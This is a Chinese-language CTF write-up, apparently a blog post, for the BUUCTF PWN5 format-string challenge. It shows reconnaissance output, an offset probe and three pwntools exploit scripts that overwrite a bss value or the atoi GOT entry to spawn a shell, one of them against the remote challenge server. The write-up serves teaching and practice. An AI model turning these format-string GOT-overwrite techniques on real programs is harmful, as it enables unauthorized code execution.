**BUUCTF - [第五空间2019 决赛]PWN5**

[余生似梦](https://www.jianshu.com/u/96bc3cfe1a4f)关注

2020.07.09 14:03:20字数 313阅读 242

**地址：**

[https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019%20%E5%86%B3%E8%B5%9B]PWN5](https://links.jianshu.com/go?to=https%3A%2F%2Fbuuoj.cn%2Fchallenges%23%255B%25E7%25AC%25AC%25E4%25BA%2594%25E7%25A9%25BA%25E9%2597%25B42019%2520%25E5%2586%25B3%25E8%25B5%259B%255DPWN5)

**解题思路：**

root@unic0rn:~/pwn# file pwn5

pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped

root@unic0rn:~/pwn# checksec pwn5

[\*] '/root/pwn/pwn5'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

运行文件之后，出现两处输入，name和passwd，并且name的输入有回显，则有可能是栈漏洞和格式化字符串。

root@unic0rn:~/pwn# ./pwn5

your name:admin

Hello,admin

ÿ񱗿ÿyour passwd:admin

fail

**计算偏移**

root@joe1sn:~/download/BUUCTF/PWN5# ./pwn

your name:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

Hello,aaaa-0xffb44588-0x63-(nil)-(nil)-0x3-0xf7f8c950-0xc2-(nil)-0xc30000-0x61616161-0x2d70252d-0x252d7025-0x70252d70

格式化字符串的利用

%x是吧数据以16进制输出  
%n是把已经输出的字符数目输入传来参数的地址中，这就可以使我们修改数据

* 思路1：直接利用格式化字符串改写unk\_804C044之中的数据，然后输入数据对比得到shell。
* 思路2：利用格式化字符串改写atoi的got地址，将其改为system的地址，配合之后的输入，得\*到shell。这种方法具有普遍性，也可以改写后面的函数的地址，拿到shell。
* 思路3：bss段的unk\_804C044，是随机生成的，而我们猜对了这个参数，就可以执行system("/bin/sh"),刚好字符串格式化漏洞可以实现改写内存地址的值

exp1：

from pwn import \*

p = process('./pwn5')

addr = 0x0804C044

#地址，也就相当于可打印字符串，共16byte

payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)

#开始将前面输出的字符个数输入到地址之中，hhn是单字节输入，其偏移为10

#%10$hhn就相当于读取栈偏移为10的地方的数据，当做地址，然后将前面的字符数写入到地址之中

payload += "%10$hhn%11$hhn%12$hhn%13$hhn"

p.sendline(payload)

p.sendline(str(0x10101010))

p.interactive()

exp2

from pwn import \*

p = process('./pwn5')

elf = ELF('./pwn5')

atoi\_got = elf.got['atoi']

system\_plt = elf.plt['system']

payload=fmtstr\_payload(10,{atoi\_got:system\_plt})

p.sendline(payload)

p.sendline('/bin/sh\x00')

p.interactive()

exp3

from pwn import \*

#context.log\_level = "debug"

p = remote("node3.buuoj.cn",26486)

unk\_804C044 = 0x0804C044

payload=fmtstr\_payload(10,{unk\_804C044:0x1111})

p.sendlineafter("your name:",payload)

p.sendlineafter("your passwd",str(0x1111))

p.interactive()